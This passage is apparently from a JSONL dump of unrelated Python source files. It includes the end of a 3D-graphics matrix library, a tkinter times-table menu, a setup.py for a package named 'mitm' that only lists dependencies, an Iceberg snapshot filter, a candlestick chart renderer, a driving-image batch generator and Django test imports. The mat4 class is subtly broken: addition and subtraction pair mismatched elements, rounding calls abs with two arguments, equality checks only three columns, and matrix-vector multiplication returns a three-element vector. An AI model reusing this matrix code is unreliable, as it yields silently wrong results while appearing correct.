matrix[1][2] - matrix[1][1] * matrix[0][2]) * oneOverDeterminant;\n f = - (matrix[0][0] * matrix[1][2] - matrix[1][0] * matrix[0][2]) * oneOverDeterminant;\n i = + (matrix[0][0] * matrix[1][1] - matrix[1][0] * matrix[0][1]) * oneOverDeterminant;\n\n return cls(a,b,c,d,e,f,g,h,i)\n else:\n raise ArithmeticError(\"Can't invert a matrix which determinant is zero.\")\n\n @classmethod\n def _transpose(cls, matrix):\n if type(matrix) is not mat3:\n raise TypeError(\"Parameter must be of type \" + str(mat3))\n\n a = matrix[0][0]\n d = matrix[0][1]\n g = matrix[0][2]\n b = matrix[1][0]\n e = matrix[1][1]\n h = matrix[1][2]\n c = matrix[2][0]\n f = matrix[2][1]\n i = matrix[2][2]\n return cls(a,b,c,d,e,f,g,h,i)\n\n @staticmethod\n def _determinant(matrix):\n if type(matrix) is not mat3:\n raise TypeError(\"Parameter must be of type \" + str(mat3))\n\n return (matrix[0][0] * matrix[1][1] * matrix[2][2] + \n matrix[0][1] * matrix[1][2] * matrix[2][0] +\n matrix[0][2] * matrix[1][0] * matrix[2][1] - \n matrix[0][2] * matrix[1][1] * matrix[2][0] -\n matrix[0][1] * matrix[1][0] * matrix[2][2] -\n matrix[0][0] * matrix[1][2] * matrix[2][1])\n\n\n\n\nclass mat4(object):\n def __init__(self, a=0, b=0, c=0, d=0, e=0, f=0, g=0, h=0, i=0, j=0, k=0, l=0, m=0, n=0, o=0, p=0):\n self.cols = [glvector.vec4(a,b,c,d), glvector.vec4(e,f,g,h), glvector.vec4(i,j,k,l), glvector.vec4(m,n,o,p)]\n \n def __getitem__(self, key):\n if type(key) is int:\n return self.cols[key]\n else:\n raise TypeError(\"Invalid type.\")\n\n def __setitem__(self, key, val):\n if type(key) is int:\n self.cols[key] = val\n else:\n raise TypeError(\"Invalid type.\")\n\n def __iter__(self):\n return iter(self.cols)\n\n def __add__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] + other\n b = self[0][1] + other\n c = self[0][2] + other\n d = self[0][3] + other\n e = self[1][0] + other\n f = self[1][1] + other\n g = self[1][2] + other\n h = self[1][3] + other\n i = self[2][0] + other\n j = self[2][1] + other\n k = self[2][2] + other\n l = self[2][3] + other\n m = self[3][0] + other\n n = self[3][1] + other\n o = self[3][2] + other\n p = self[3][3] + other\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n elif type(other) is mat4:\n a = self[0][0] + other[0][0]\n b = self[0][1] + other[0][1]\n c = self[0][2] + other[0][2]\n d = self[0][3] + other[1][0]\n e = self[1][0] + other[1][1]\n f = self[1][1] + other[1][2]\n g = self[1][2] + other[2][0]\n h = self[1][3] + other[2][1]\n i = self[2][0] + other[2][2]\n j = self[2][1] + other[2][1]\n k = self[2][2] + other[2][2]\n l = self[2][3] + other[2][3]\n m = self[3][0] + other[3][0]\n n = self[3][1] + other[3][1]\n o = self[3][2] + other[3][2]\n p = self[3][3] + other[3][3]\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n else:\n raise TypeError(\"Invalid type.\")\n\n def __sub__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] - other\n b = self[0][1] - other\n c = self[0][2] - other\n d = self[0][3] - other\n e = self[1][0] - other\n f = self[1][1] - other\n g = self[1][2] - other\n h = self[1][3] - other\n i = self[2][0] - other\n j = self[2][1] - other\n k = self[2][2] - other\n l = self[2][3] - other\n m = self[3][0] - other\n n = self[3][1] - other\n o = self[3][2] - other\n p = self[3][3] - other\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n elif type(other) is mat4:\n a = self[0][0] - other[0][0]\n b = self[0][1] - other[0][1]\n c = self[0][2] - other[0][2]\n d = self[0][3] - other[1][0]\n e = self[1][0] - other[1][1]\n f = self[1][1] - other[1][2]\n g = self[1][2] - other[2][0]\n h = self[1][3] - other[2][1]\n i = self[2][0] - other[2][2]\n j = self[2][1] - other[2][1]\n k = self[2][2] - other[2][2]\n l = self[2][3] - other[2][3]\n m = self[3][0] - other[3][0]\n n = self[3][1] - other[3][1]\n o = self[3][2] - other[3][2]\n p = self[3][3] - other[3][3]\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n else:\n raise TypeError(\"Invalid type.\") \n\n def __mul__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] * other\n b = self[0][1] * other\n c = self[0][2] * other\n d = self[0][3] * other\n e = self[1][0] * other\n f = self[1][1] * other\n g = self[1][2] * other\n h = self[1][3] * other\n i = self[2][0] * other\n j = self[2][1] * other\n k = self[2][2] * other\n l = self[2][3] * other\n m = self[3][0] * other\n n = self[3][1] * other\n o = self[3][2] * other\n p = self[3][3] * other\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n elif type(other) is mat4:\n a = self[0][0] * other[0][0] + self[0][1] * other[1][0] + self[0][2] * other[2][0] + self[0][3] * other[3][0]\n b = self[0][0] * other[0][1] + self[0][1] * other[1][1] + self[0][2] * other[2][1] + self[0][3] * other[3][1]\n c = self[0][0] * other[0][2] + self[0][1] * other[1][2] + self[0][2] * other[2][2] + self[0][3] * other[3][2]\n d = self[0][0] * other[0][3] + self[0][1] * other[1][3] + self[0][2] * other[2][3] + self[0][3] * other[3][3]\n e = self[1][0] * other[0][0] + self[1][1] * other[1][0] + self[1][2] * other[2][0] + self[1][3] * other[3][0]\n f = self[1][0] * other[0][1] + self[1][1] * other[1][1] + self[1][2] * other[2][1] + self[1][3] * other[3][1]\n g = self[1][0] * other[0][2] + self[1][1] * other[1][2] + self[1][2] * other[2][2] + self[1][3] * other[3][2]\n h = self[1][0] * other[0][3] + self[1][1] * other[1][3] + self[1][2] * other[2][3] + self[1][3] * other[3][3]\n i = self[2][0] * other[0][0] + self[2][1] * other[1][0] + self[2][2] * other[2][0] + self[2][3] * other[3][0]\n j = self[2][0] * other[0][1] + self[2][1] * other[1][1] + self[2][2] * other[2][1] + self[2][3] * other[3][1]\n k = self[2][0] * other[0][2] + self[2][1] * other[1][2] + self[2][2] * other[2][2] + self[2][3] * other[3][2]\n l = self[2][0] * other[0][3] + self[2][1] * other[1][3] + self[2][2] * other[2][3] + self[2][3] * other[3][3]\n m = self[3][0] * other[0][0] + self[3][1] * other[1][0] + self[3][2] * other[2][0] + self[3][3] * other[3][0]\n n = self[3][0] * other[0][1] + self[3][1] * other[1][1] + self[3][2] * other[2][1] + self[3][3] * other[3][1]\n o = self[3][0] * other[0][2] + self[3][1] * other[1][2] + self[3][2] * other[2][2] + self[3][3] * other[3][2]\n p = self[3][0] * other[0][3] + self[3][1] * other[1][3] + self[3][2] * other[2][3] + self[3][3] * other[3][3]\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n elif type(other) is glvector.vec4:\n a = self[0][0] * other[0] + self[0][1] * other[1] + self[0][2] * other[2] + self[0][3] * other[3]\n b = self[1][0] * other[0] + self[1][1] * other[1] + self[1][2] * other[2] + self[1][3] * other[3]\n c = self[2][0] * other[0] + self[2][1] * other[1] + self[2][2] * other[2] + self[2][3] * other[3]\n d = self[3][0] * other[0] + self[3][1] * other[1] + self[3][2] * other[2] + self[3][3] * other[3]\n return glvector.vec3(a,b,c)\n else:\n raise TypeError(\"Invalid type.\")\n\n def __truediv__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] / other\n b = self[0][1] / other\n c = self[0][2] / other\n d = self[0][3] / other\n e = self[1][0] / other\n f = self[1][1] / other\n g = self[1][2] / other\n h = self[1][3] / other\n i = self[2][0] / other\n j = self[2][1] / other\n k = self[2][2] / other\n l = self[2][3] / other\n m = self[3][0] / other\n n = self[3][1] / other\n o = self[3][2] / other\n p = self[3][3] / other\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n elif type(other) is mat4:\n return self * mat4._inverse(other)\n else:\n raise TypeError(\"Invalid type.\")\n\n def __iadd__(self, other):\n self = self + other\n return self\n\n def __isub__(self, other):\n self = self - other\n return self\n\n def __imul__(self, other):\n self = self * other\n return self\n\n def __itruediv__(self, other):\n self = self / other\n return self\n\n def __radd__(self, other):\n self = self + other\n return self\n\n def __rsub__(self, other):\n self = self - other\n return self\n\n def __rmul__(self, other):\n pass\n\n def __rtruediv__(self, other):\n pass\n\n def __eq__(self, other):\n return (self[0] == other[0] and self[1] == other[1] and self[2] == other[2])\n\n def __ne__(self, other):\n return not self == other\n\n def __pos__(self):\n a = +self[0][0]\n b = +self[0][1]\n c = +self[0][2]\n d = +self[0][3]\n e = +self[1][0]\n f = +self[1][1]\n g = +self[1][2]\n h = +self[1][3]\n i = +self[2][0]\n j = +self[2][1]\n k = +self[2][2]\n l = +self[2][3]\n m = +self[3][0]\n n = +self[3][1]\n o = +self[3][2]\n p = +self[3][3]\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n\n def __neg__(self):\n a = -self[0][0]\n b = -self[0][1]\n c = -self[0][2]\n d = -self[0][3]\n e = -self[1][0]\n f = -self[1][1]\n g = -self[1][2]\n h = -self[1][3]\n i = -self[2][0]\n j = -self[2][1]\n k = -self[2][2]\n l = -self[2][3]\n m = -self[3][0]\n n = -self[3][1]\n o = -self[3][2]\n p = -self[3][3]\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n\n def __abs__(self):\n a = abs(self[0][0])\n b = abs(self[0][1])\n c = abs(self[0][2])\n d = abs(self[0][3])\n e = abs(self[1][0])\n f = abs(self[1][1])\n g = abs(self[1][2])\n h = abs(self[1][3])\n i = abs(self[2][0])\n j = abs(self[2][1])\n k = abs(self[2][2])\n l = abs(self[2][3])\n m = abs(self[3][0])\n n = abs(self[3][1])\n o = abs(self[3][2])\n p = abs(self[3][3])\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n\n def __round__(self, n=0):\n a = abs(self[0][0], n)\n b = abs(self[0][1], n)\n c = abs(self[0][2], n)\n d = abs(self[0][3], n)\n e = abs(self[1][0], n)\n f = abs(self[1][1], n)\n g = abs(self[1][2], n)\n h = abs(self[1][3], n)\n i = abs(self[2][0], n)\n j = abs(self[2][1], n)\n k = abs(self[2][2], n)\n l = abs(self[2][3], n)\n m = abs(self[3][0], n)\n n = abs(self[3][1], n)\n o = abs(self[3][2], n)\n p = abs(self[3][3], n)\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n\n def __floor__(self):\n a = math.floor(self[0][0])\n b = math.floor(self[0][1])\n c = math.floor(self[0][2])\n d = math.floor(self[0][3])\n e = math.floor(self[1][0])\n f = math.floor(self[1][1])\n g = math.floor(self[1][2])\n h = math.floor(self[1][3])\n i = math.floor(self[2][0])\n j = math.floor(self[2][1])\n k = math.floor(self[2][2])\n l = math.floor(self[2][3])\n m = math.floor(self[3][0])\n n = math.floor(self[3][1])\n o = math.floor(self[3][2])\n p = math.floor(self[3][3])\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n\n def __ceil__(self):\n a = math.ceil(self[0][0])\n b = math.ceil(self[0][1])\n c = math.ceil(self[0][2])\n d = math.ceil(self[0][3])\n e = math.ceil(self[1][0])\n f = math.ceil(self[1][1])\n g = math.ceil(self[1][2])\n h = math.ceil(self[1][3])\n i = math.ceil(self[2][0])\n j = math.ceil(self[2][1])\n k = math.ceil(self[2][2])\n l = math.ceil(self[2][3])\n m = math.ceil(self[3][0])\n n = math.ceil(self[3][1])\n o = math.ceil(self[3][2])\n p = math.ceil(self[3][3])\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n\n def __trunc__(self):\n a = math.trunc(self[0][0])\n b = math.trunc(self[0][1])\n c = math.trunc(self[0][2])\n d = math.trunc(self[0][3])\n e = math.trunc(self[1][0])\n f = math.trunc(self[1][1])\n g = math.trunc(self[1][2])\n h = math.trunc(self[1][3])\n i = math.trunc(self[2][0])\n j = math.trunc(self[2][1])\n k = math.trunc(self[2][2])\n l = math.trunc(self[2][3])\n m = math.trunc(self[3][0])\n n = math.trunc(self[3][1])\n o = math.trunc(self[3][2])\n p = math.trunc(self[3][3])\n return mat4(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n\n def asArray(self):\n if has_numpy:\n return np.matrix([self.cols[0].asArray(), self.cols[1].asArray(), self.cols[2].asArray(), self.cols[3].asArray()], dtype=np.float32)\n else:\n return [self.cols[0].asArray(), self.cols[1].asArray(), self.cols[2].asArray(), self.cols[3].asArray()]\n\n @classmethod\n def fromVec4(cls, u, v, w, z):\n a = u[0]\n b = u[1]\n c = u[2]\n d = u[3]\n e = v[0]\n f = v[1]\n g = v[2]\n h = v[3]\n i = w[0]\n j = w[1]\n k = w[2]\n l = w[3]\n m = z[0]\n n = z[1]\n o = z[2]\n p = z[3]\n return cls(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n\n @classmethod\n def fromMat4(cls, m):\n a = m[0][0]\n b = m[0][1]\n c = m[0][2]\n d = m[0][3]\n e = m[1][0]\n f = m[1][1]\n g = m[1][2]\n h = m[1][3]\n i = m[2][0]\n j = m[2][1]\n k = m[2][2]\n l = m[2][3]\n m = m[3][0]\n n = m[3][1]\n o = m[3][2]\n p = m[3][3]\n return cls(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n\n\n\n\n def __str__(self):\n return \"([\" + str(self[0][0]) + ', ' + str(self[0][1]) + ', ' + str(self[0][2]) + ', ' + str(self[0][3]) + \"],\" + \\\n \"[\" + str(self[1][0]) + ', ' + str(self[1][1]) + ', ' + str(self[1][2]) + ', ' + str(self[1][3]) + \"],\" + \\\n \"[\" + str(self[2][0]) + ', ' + str(self[2][1]) + ', ' + str(self[2][2]) + ', ' + str(self[2][3]) + \"],\" + \\\n \"[\" + str(self[3][0]) + ', ' + str(self[3][1]) + ', ' + str(self[3][2]) + ', ' + str(self[3][3]) + \"]\"\n\n def __repr__(self):\n return \"mat4(\" + str(self[0][0]) + ', ' + str(self[0][1]) + ', ' + str(self[0][2]) + ', ' + str(self[0][3]) + ', ' + \\\n str(self[1][0]) + ', ' + str(self[1][1]) + ', ' + str(self[1][2]) + ', ' + str(self[1][3]) + ', ' + \\\n str(self[2][0]) + ', ' + str(self[2][1]) + ', ' + str(self[2][2]) + ', ' + str(self[2][3]) + ', ' + \\\n str(self[3][0]) + ', ' + str(self[3][1]) + ', ' + str(self[3][2]) + ', ' + str(self[3][3]) + \")\"\n\n @classmethod\n def zero(cls):\n return cls();\n\n @classmethod\n def identity(cls):\n return cls(a=1, f=1, k=1, p=1)\n\n @classmethod\n def _inverse(cls, matrix):\n coef00 = matrix[2][2] * matrix[3][3] - matrix[3][2] * matrix[2][3]\n coef02 = matrix[1][2] * matrix[3][3] - matrix[3][2] * matrix[1][3]\n coef03 = matrix[1][2] * matrix[2][3] - matrix[2][2] * matrix[1][3]\n\n coef04 = matrix[2][1] * matrix[3][3] - matrix[3][1] * matrix[2][3]\n coef06 = matrix[1][1] * matrix[3][3] - matrix[3][1] * matrix[1][3]\n coef07 = matrix[1][1] * matrix[2][3] - matrix[2][1] * matrix[1][3]\n\n coef08 = matrix[2][1] * matrix[3][2] - matrix[3][1] * matrix[2][2]\n coef10 = matrix[1][1] * matrix[3][2] - matrix[3][1] * matrix[1][2]\n coef11 = matrix[1][1] * matrix[2][2] - matrix[2][1] * matrix[1][2]\n\n coef12 = matrix[2][0] * matrix[3][3] - matrix[3][0] * matrix[2][3]\n coef14 = matrix[1][0] * matrix[3][3] - matrix[3][0] * matrix[1][3]\n coef15 = matrix[1][0] * matrix[2][3] - matrix[2][0] * matrix[1][3]\n\n coef16 = matrix[2][0] * matrix[3][2] - matrix[3][0] * matrix[2][2]\n coef18 = matrix[1][0] * matrix[3][2] - matrix[3][0] * matrix[1][2]\n coef19 = matrix[1][0] * matrix[2][2] - matrix[2][0] * matrix[1][2]\n\n coef20 = matrix[2][0] * matrix[3][1] - matrix[3][0] * matrix[2][1]\n coef22 = matrix[1][0] * matrix[3][1] - matrix[3][0] * matrix[1][1]\n coef23 = matrix[1][0] * matrix[2][1] - matrix[2][0] * matrix[1][1]\n\n fac0 = glvector.vec4(coef00, coef00, coef02, coef03)\n fac1 = glvector.vec4(coef04, coef04, coef06, coef07)\n fac2 = glvector.vec4(coef08, coef08, coef10, coef11)\n fac3 = glvector.vec4(coef12, coef12, coef14, coef15)\n fac4 = glvector.vec4(coef16, coef16, coef18, coef19)\n fac5 = glvector.vec4(coef20, coef20, coef22, coef23)\n\n v0 = glvector.vec4(matrix[1][0], matrix[0][0], matrix[0][0], matrix[0][0])\n v1 = glvector.vec4(matrix[1][1], matrix[0][1], matrix[0][1], matrix[0][1])\n v2 = glvector.vec4(matrix[1][2], matrix[0][2], matrix[0][2], matrix[0][2])\n v3 = glvector.vec4(matrix[1][3], matrix[0][3], matrix[0][3], matrix[0][3])\n\n inv0 = glvector.vec4.fromVec4(v1 * fac0 - v2 * fac1 + v3 * fac2)\n\n inv1 = glvector.vec4.fromVec4(v0 * fac0 - v2 * fac3 + v3 * fac4)\n inv2 = glvector.vec4.fromVec4(v0 * fac1 - v1 * fac3 + v3 * fac5)\n inv3 = glvector.vec4.fromVec4(v0 * fac2 - v1 * fac4 + v2 * fac5)\n\n signA = glvector.vec4(+1, -1, +1, -1)\n signB = glvector.vec4(-1, +1, -1, +1)\n inverse = mat4.fromVec4(inv0 * signA, inv1 * signB, inv2 * signA, inv3 * signB)\n\n row0 = glvector.vec4(inverse[0][0], inverse[1][0], inverse[2][0], inverse[3][0])\n\n d0 = glvector.vec4.fromVec4(matrix[0] * row0)\n d1 = (d0.x + d0.y) + (d0.z + d0.w)\n\n if d1 != 0:\n oneOverDeterminant = 1 / d1\n return inverse * oneOverDeterminant\n else:\n raise ArithmeticError(\"Can't invert a matrix which determinant is zero.\")\n\n @classmethod\n def _transpose(cls, matrix):\n if type(matrix) is not mat4:\n raise TypeError(\"Parameter must be of type \" + str(mat4))\n\n a = matrix[0][0]\n b = matrix[1][0]\n c = matrix[2][0]\n d = matrix[3][0]\n e = matrix[0][1]\n f = matrix[1][1]\n g = matrix[2][1]\n h = matrix[3][1]\n i = matrix[0][2]\n j = matrix[1][2]\n k = matrix[2][2]\n l = matrix[3][2]\n m = matrix[0][3]\n n = matrix[1][3]\n o = matrix[2][3]\n p = matrix[3][3]\n return cls(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p)\n\n @staticmethod\n def _determinant(matrix):\n if type(matrix) is not mat4:\n raise TypeError(\"Parameter must be of type \" + str(mat4))\n\n subFactor00 = matrix[2][2] * matrix[3][3] - matrix[3][2] * matrix[2][3]\n subFactor01 = matrix[2][1] * matrix[3][3] - matrix[3][1] * matrix[2][3]\n subFactor02 = matrix[2][1] * matrix[3][2] - matrix[3][1] * matrix[2][2]\n subFactor03 = matrix[2][0] * matrix[3][3] - matrix[3][0] * matrix[2][3]\n subFactor04 = matrix[2][0] * matrix[3][2] - matrix[3][0] * matrix[2][2]\n subFactor05 = matrix[2][0] * matrix[3][1] - matrix[3][0] * matrix[2][1]\n\n detCof = glvector.vec4(\n + (matrix[1][1] * subFactor00 - matrix[1][2] * subFactor01 + matrix[1][3] * subFactor02),\n - (matrix[1][0] * subFactor00 - matrix[1][2] * subFactor03 + matrix[1][3] * subFactor04),\n + (matrix[1][0] * subFactor01 - matrix[1][1] * subFactor03 + matrix[1][3] * subFactor05),\n - (matrix[1][0] * subFactor02 - matrix[1][1] * subFactor04 + matrix[1][2] * subFactor05))\n\n return matrix[0][0] * detCof[0] + matrix[0][1] * detCof[1] + \\\n matrix[0][2] * detCof[2] + matrix[0][3] * detCof[3]\n\n\n\n\ndef inverse(matrix):\n if type(matrix) is mat2: return mat2._inverse(matrix)\n elif type(matrix) is mat3: return mat3._inverse(matrix)\n elif type(matrix) is mat4: return mat4._inverse(matrix)\n else: raise TypeError(\"Argument must be a matrix.\")\n\ndef transpose(matrix):\n if type(matrix) is mat2: return mat2._transpose(matrix)\n elif type(matrix) is mat3: return mat3._transpose(matrix)\n elif type(matrix) is mat4: return mat4._transpose(matrix)\n else: raise TypeError(\"Argument must be a matrix.\")\n\ndef determinant(matrix):\n if type(matrix) is mat2: return mat2._determinant(matrix)\n elif type(matrix) is mat3: return mat3._determinant(matrix)\n elif type(matrix) is mat4: return mat4._determinant(matrix)\n else: raise TypeError(\"Argument must be a matrix.\")\n\n\n", "source": "fesoliveira014/pyglm", "license": "Unlicense"} {"text": "from tkinter import *\n\n\nclass FrameMenu(Frame):\n def __init__(self, parent, controller):\n Frame.__init__(self, parent)\n self.controller = controller\n \n \n self.opcaoMenu = Frame(self)\n \n self.bt_start = Button(self, text='Start', font='arial 20', command=lambda: controller.show_frame('FrameStart'))\n self.valor = IntVar()\n\n self.lb_op = Label(self.opcaoMenu, text='qual tabuada?:')\n self.lb_op.pack()\n\n\n\n # ======= radio Button ===========================================\n # radio button das opcao para escolher\n self.rbt1 = Radiobutton(self.opcaoMenu, text='1', variable=self.valor, value=1, indicatoron=0, padx=10, pady=10, bg='green')\n self.rbt2 = Radiobutton(self.opcaoMenu, text='2', variable=self.valor, value=2, indicatoron=0, padx=10, pady=10, bg='green')\n self.rbt3 = Radiobutton(self.opcaoMenu, text='3', variable=self.valor, value=3, indicatoron=0, padx=10, pady=10,bg='green')\n self.rbt4 = Radiobutton(self.opcaoMenu, text='4', variable=self.valor, value=4, indicatoron=0, padx=10, pady=10, bg='green')\n self.rbt5 = Radiobutton(self.opcaoMenu, text='5', variable=self.valor, value=5, indicatoron=0, padx=10, pady=10, bg='green')\n self.rbt6 = Radiobutton(self.opcaoMenu, text='6', variable=self.valor, value=6, indicatoron=0, padx=10, pady=10,bg='green')\n self.rbt7 = Radiobutton(self.opcaoMenu, text='7', variable=self.valor, value=7, indicatoron=0, padx=10, pady=10,bg='green')\n self.rbt8 = Radiobutton(self.opcaoMenu, text='8', variable=self.valor, value=8, indicatoron=0, padx=10, pady=10,bg='green')\n self.rbt9 = Radiobutton(self.opcaoMenu, text='9', variable=self.valor, value=9, indicatoron=0, padx=10, pady=10, bg='green')\n\n self.rbt1.pack (side=LEFT)\n self.rbt2.pack (side=LEFT)\n self.rbt3.pack (side=LEFT)\n self.rbt4.pack (side=LEFT)\n self.rbt5.pack (side=LEFT)\n self.rbt6.pack (side=LEFT)\n self.rbt7.pack (side=LEFT)\n self.rbt8.pack (side=LEFT)\n self.rbt9.pack (side=LEFT)\n\n self.rbt9.select()\n \n self.opcaoMenu.pack(anchor=CENTER, padx=10, pady=20)\n self.bt_start.pack(anchor=CENTER)\n\nif __name__ == '__main__':\n import main\n\n # root = Tk()\n # frame = FrameMenu(root)\n # def tecla1(event):\n # print('1 apertado')\n # frame.rbt1.select()\n # def tecla2(event):\n # print('2 apertado')\n # frame.rbt2.select()\n\n # root.bind('1', tecla1)\n # root.bind('2', tecla2)\n # frame.pack()\n \n # root.mainloop()\n", "source": "jonasht/Python", "license": "MIT"} {"text": "from distutils.core import setup\n\nrequirements = [\n 'aiohttp==3.6.2',\n 'async-timeout==3.0.1',\n 'attrs==19.3.0',\n 'cffi==1.13.2',\n 'chardet==3.0.4',\n 'cryptography==2.8',\n 'http-parser==0.8.3',\n 'idna==2.8',\n 'mitm==1.0',\n 'multidict==4.5.2',\n 'pycparser==2.19',\n 'pyOpenSSL==19.0.0',\n 'six==1.13.0',\n 'termcolor==1.1.0',\n 'yarl==1.3.0',\n]\n\nsetup(\n name=\"mitm\",\n version=\"1.0\",\n packages=[\"mitm\"],\n long_description=open(\"README.md\").read(),\n install_requires=requirements,\n)\n", "source": "zentooo/mitm", "license": "MIT"} {"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nfrom .expressions import Expressions\nfrom .filterable import Filterable\n\n\nclass FilteredSnapshot(Filterable):\n\n def __init__(self, snapshot, part_filter, row_filter, columns):\n self.snapshot = snapshot\n self.part_filter = part_filter\n self.row_filter = row_filter\n self.columns = columns\n\n def select(self, columns):\n return FilteredSnapshot(self.snapshot, self.part_filter, self.row_filter, columns)\n\n def filter_partitions(self, expr):\n return FilteredSnapshot(self.snapshot, Expressions.and_(self.part_filter, expr), self.row_filter, self.columns)\n\n def filter_rows(self, expr):\n return FilteredSnapshot(self.snapshot, self.part_filter, Expressions.and_(self.row_filter, expr), self.columns)\n\n def iterator(self):\n return self.snapshot.iterator(self.part_filter, self.row_filter, self.columns)\n", "source": "moulimukherjee/incubator-iceberg", "license": "Apache-2.0"} {"text": "import pyqtgraph as pg\nfrom pyqtgraph import QtCore, QtGui\n\nfrom .. import definitions as defs\nfrom .. import functions\nfrom .fin_plot_item import FinPlotItem\n\nclass CandlestickItem(FinPlotItem):\n def __init__(self, ax, datasrc, draw_body, draw_shadow, candle_width, colorfunc):\n self.colors = dict(bull_shadow = defs.candle_bull_color,\n bull_frame = defs.candle_bull_color,\n bull_body = defs.candle_bull_body_color,\n bear_shadow = defs.candle_bear_color,\n bear_frame = defs.candle_bear_color,\n bear_body = defs.candle_bear_color,\n weak_bull_shadow = functions.brighten(defs.candle_bull_color, 1.2),\n weak_bull_frame = functions.brighten(defs.candle_bull_color, 1.2),\n weak_bull_body = functions.brighten(defs.candle_bull_color, 1.2),\n weak_bear_shadow = functions.brighten(defs.candle_bear_color, 1.5),\n weak_bear_frame = functions.brighten(defs.candle_bear_color, 1.5),\n weak_bear_body = functions.brighten(defs.candle_bear_color, 1.5))\n self.draw_body = draw_body\n self.draw_shadow = draw_shadow\n self.candle_width = candle_width\n self.shadow_width = defs.candle_shadow_width\n self.colorfunc = colorfunc\n self.x_offset = 0\n super().__init__(ax, datasrc, lod=True)\n\n def generate_picture(self, boundingRect):\n w = self.candle_width\n w2 = w * 0.5\n left,right = boundingRect.left(), boundingRect.right()\n p = self.painter\n df,origlen = self.datasrc.rows(5, left, right, yscale=self.ax.vb.yscale)\n drawing_many_shadows = self.draw_shadow and origlen > defs.lod_candles*2//3\n for shadow,frame,body,df_rows in self.colorfunc(self, self.datasrc, df):\n idxs = df_rows.index\n rows = df_rows.values\n if self.x_offset:\n idxs += self.x_offset\n if self.draw_shadow:\n p.setPen(pg.mkPen(shadow, width=self.shadow_width))\n for x,(t,open,close,high,low) in zip(idxs, rows):\n if high > low:\n p.drawLine(QtCore.QPointF(x, low), QtCore.QPointF(x, high))\n if self.draw_body and not drawing_many_shadows: # settle with only drawing shadows if too much detail\n p.setPen(pg.mkPen(frame))\n p.setBrush(pg.mkBrush(body))\n for x,(t,open,close,high,low) in zip(idxs, rows):\n p.drawRect(QtCore.QRectF(x-w2, open, w, close-open))\n\n def rowcolors(self, prefix):\n return [self.colors[prefix+'_shadow'], self.colors[prefix+'_frame'], self.colors[prefix+'_body']]\n", "source": "ik9999/finplot", "license": "MIT"} {"text": "from pathlib import Path\n\nimport matplotlib.image as mpimg\nimport csv\nimport glob\n\nimport numpy as np\nfrom sklearn.utils import shuffle\n\n\ndef get_samples(main_dir):\n samples = []\n # grab all data inside main_dir\n for log_file in glob.glob(main_dir.rstrip('/') + '/*/driving_log.csv'):\n with open(log_file) as csv_file:\n reader = csv.reader(csv_file)\n for line in reader:\n if len(line) > 0 and line[0] != \"center\": # get rid of spurious empty lines and headers\n for i in range(3):\n line[i] = '/'.join((*log_file.split('/')[:-1], *line[i].lstrip(' ').split('/')[-2:]))\n samples.append(line)\n return samples\n\n\ndef sample_generator(samples, batch_size=32):\n num_samples = len(samples)\n while True: # Loop forever so the generator never terminates\n shuffle(samples)\n for offset in range(0, num_samples, batch_size):\n batch_samples = samples[offset:offset + batch_size]\n\n images = []\n angles = []\n\n for batch_sample in batch_samples:\n center_image = mpimg.imread(batch_sample[0]).astype(np.float32)\n left_image = mpimg.imread(batch_sample[1]).astype(np.float32)\n right_image = mpimg.imread(batch_sample[2]).astype(np.float32)\n\n steering_center = float(batch_sample[3])\n\n # create adjusted steering measurements for the side camera images\n # this is a parameter to tune, describes how \"aggressive\" it tries to go back to the center\n # making it too big can introduce instabilities.\n correction = 0.2\n steering_left = steering_center + correction\n steering_right = steering_center - correction\n\n # side images as \"recovery\" references\n images.extend((left_image, right_image, center_image))\n angles.extend((steering_left, steering_right, steering_center))\n\n # flipped image to avoid overfitting turning to a single side.\n images.append(np.fliplr(center_image))\n angles.append(-steering_center)\n\n yield shuffle(np.array(images), np.array(angles))\n", "source": "elael/SimpleBehaviourClonning", "license": "MIT"} {"text": "from django.test import TestCase\n\nfrom cyder.cydns.address_record.tests.test_models import *\nfrom cyder.cydns.cname.tests.test_models import *\nfrom cyder.cydns.cybind.tests.test_models import *\nfrom cyder.cydns.domain.tests.test_models import *\nfrom cyder.cydns.ip.tests.test_models import *\nfrom cyder.cydns.mx.tests.test_models import *\nfrom cyder.cydns.nameserver.tests.test_models import *\nfrom cyder.cydns.ptr.tests.test_models import *\nfrom cyder.cydns.soa.tests.test_models import *\nfrom cyder.cydns.srv.tests.test_models import *\nfrom cyder.cydns.sshfp.tests.test_models import *\nfrom cyder.cydns.txt.tests.test_models import *\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"} {"text": "import os\nimport platform\nimport pytest\nimport asyncio\n\nfrom 